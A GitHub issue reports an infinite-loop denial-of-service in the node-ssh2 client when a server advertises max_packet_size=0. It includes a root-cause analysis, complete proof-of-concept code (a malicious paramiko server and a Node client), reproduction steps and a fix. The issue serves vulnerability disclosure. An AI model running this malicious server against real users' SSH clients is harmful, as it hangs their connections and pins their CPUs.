Skip to content

max_packet_size=0 channel-send infinite loop (post-auth DoS) — RFC 4254 §5.1 cluster #1504

Description

@afldl

node-ssh2 (mscdex/ssh2) max_packet_size=0 channel-send infinite loop

Identity

  • Target: node-ssh2 / mscdex/ssh2 (commit 318d447, current at time of report)
  • Vulnerable site: lib/Channel.js channel-data send loop (lines ~44-66 and ~159-177)
  • Class: CWE-835 (infinite loop) — the SSH max_packet_size=0 cluster (RFC 4254 §5.1 silent on 0)
  • Reachability: post-auth; a malicious SSH server advertises max_packet_size=0 in
    SSH_MSG_CHANNEL_OPEN_CONFIRMATION; the client wedges when it next writes channel data
  • Impact: client DoS — Node event loop pinned at ~100% CPU, connection/terminal freeze

Root cause

// lib/Channel.js (send loop)
const packetSize = outgoing.packetSize;          // stored raw from peer's OPEN_CONFIRMATION
while (len - p > 0 && window > 0) {
  let sliceLen = len - p;
  if (sliceLen > window)  sliceLen = window;
  if (sliceLen > packetSize) sliceLen = packetSize;   // no floor; packetSize=0 -> sliceLen=0
  ...                                              // send sliceLen bytes of CHANNEL_DATA
  p += sliceLen;                                  // p += 0
  window -= sliceLen;                             // window -= 0
}

With packetSize = 0 and window > 0, sliceLen is clamped to 0; p and window never change →
synchronous infinite loop emitting 0-length CHANNEL_DATA, pinning the Node event loop. No >= 1
floor is enforced on the peer-supplied packet size (contrast OpenSSH channels.c:3079,
dropbear common-channel.c:716, paramiko _sanitize_packet_size, Go x/crypto minPacketLength=9,
Maverick < 4096 reject, all of which defend).

Proof of concept

malicious_server.py (shared paramiko server, Transport.default_max_packet_size = 0) +
client.js (node-ssh2 client). The client connects, opens a shell channel, and writes 8 KiB.

$ bash repro.sh
[+] malicious server up on :2307 (advertises max_packet_size=0)
[+] running node-ssh2 client (timeout 8s; expect SIGTERM at wedge)
[client] writing 8 KiB of channel data -> send loop should spin (sliceLen=0)
[+] exit: timeout-killed (124) = client wedged in send loop = VULNERABLE

The client never reaches the "returned after write" line; timeout kills it at the wedge.

Impact

Post-auth, client-side DoS (connect to / be redirected to a malicious server). Low–Medium — same
class as the reported asyncssh/libssh/PuTTY/Twisted/SSHJ (all now fixed).

Suggested fix

Reject or clamp the peer's packet size on receipt, e.g. packetSize = Math.max(packetSize, 1) (or
reject SSH_MSG_CHANNEL_OPEN_CONFIRMATION with max_packet_size == 0), matching the defended impls.

Reproduction package

  • client.js — node-ssh2 client (npm install ssh2)
  • malicious_server.py — shared paramiko server (maxpkt=0)
  • repro.sh / output.txt

PoC source (client.js)

// node-ssh2 (mscdex/ssh2) max_packet_size=0 reproducer.
// Connects to malicious_server.py (which advertises max_packet_size=0 in
// CHANNEL_OPEN_CONFIRMATION), opens a session, and writes channel data.
// Once outgoing.packetSize == 0, Channel.js send loop computes
//   sliceLen = min(len-p, window, packetSize) = 0  -> p += 0, window -= 0
// and never advances -> synchronous infinite loop pinning the Node event loop.
//
// Run:  npm install ssh2   &&   node client.js [port]
const { Client } = require('ssh2');
const port = parseInt(process.argv[2] || '2300', 10);
const conn = new Client();
conn.on('ready', () => {
  conn.shell(false, (err, stream) => {
    if (err) { console.error(err); process.exit(2); }
    // server's OPEN_CONFIRMATION carried max_packet_size=0 -> outgoing.packetSize=0
    console.log('[client] channel opened; outgoing.packetSize =',
                stream._channel && stream._channel.outgoing && stream._channel.outgoing.packetSize);
    console.log('[client] writing 8 KiB of channel data -> send loop should spin (sliceLen=0)');
    stream.write(Buffer.alloc(8192, 0x58));   // <-- wedges here if vulnerable
    console.log('[client] returned after write -> NOT vulnerable (unexpected)');
    conn.end();
  });
});
conn.on('error', (e) => { console.error('[client] conn error:', e.message); });
conn.connect({ host: '127.0.0.1', port, username: 'x', password: 'x',
               readyTimeout: 8000 });

PoC source (malicious_server.py)

#!/usr/bin/env python3
# Malicious SSH server: real paramiko KEX/auth, but advertises max_packet_size=0.
# Requires: pip install paramiko
# Usage: python3 malicious_server.py <port> [authmode]   (authmode: pass|none)
import sys, time, socket, threading, warnings
warnings.filterwarnings("ignore")
import paramiko

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 2300
AUTHMODE = sys.argv[2] if len(sys.argv) > 2 else "pass"

class _AcceptAll(paramiko.ServerInterface):
    def get_allowed_auths(self, username): return "password,none"
    def check_auth_none(self, username):
        return paramiko.AUTH_SUCCESSFUL if AUTHMODE == "none" else paramiko.AUTH_FAILED
    def check_auth_password(self, username, password): return paramiko.AUTH_SUCCESSFUL
    def check_channel_request(self, kind, chanid): return paramiko.OPEN_SUCCEEDED
    def check_channel_shell_request(self, channel): return True
    def check_channel_exec_request(self, channel, command): return True
    def check_channel_pty_request(self, *a): return True

host_key = paramiko.RSAKey.generate(2048)
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", PORT)); srv.listen(5)
print(f"[server] listening 127.0.0.1:{PORT} (advertises max_packet_size=0)", flush=True)
while True:
    conn, _ = srv.accept()
    t = paramiko.Transport(conn)
    t.add_server_key(host_key)
    t.default_max_packet_size = 0        # <-- weapon
    def run(tr=t):
        try: tr.start_server(server=_AcceptAll())
        except Exception as e: print("[server] ended:", e, flush=True)
        while tr.is_active(): time.sleep(0.5)
    threading.Thread(target=run, daemon=True).start()

Steps to reproduce:

  1. pip install paramiko and npm install ssh2
  2. python3 malicious_server.py 2307 pass &
  3. timeout 8 node client.js 2307 (client.js is inlined above)
  4. The client never returns from stream.write(...); timeout kills it (exit 124) = wedged = vulnerable.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions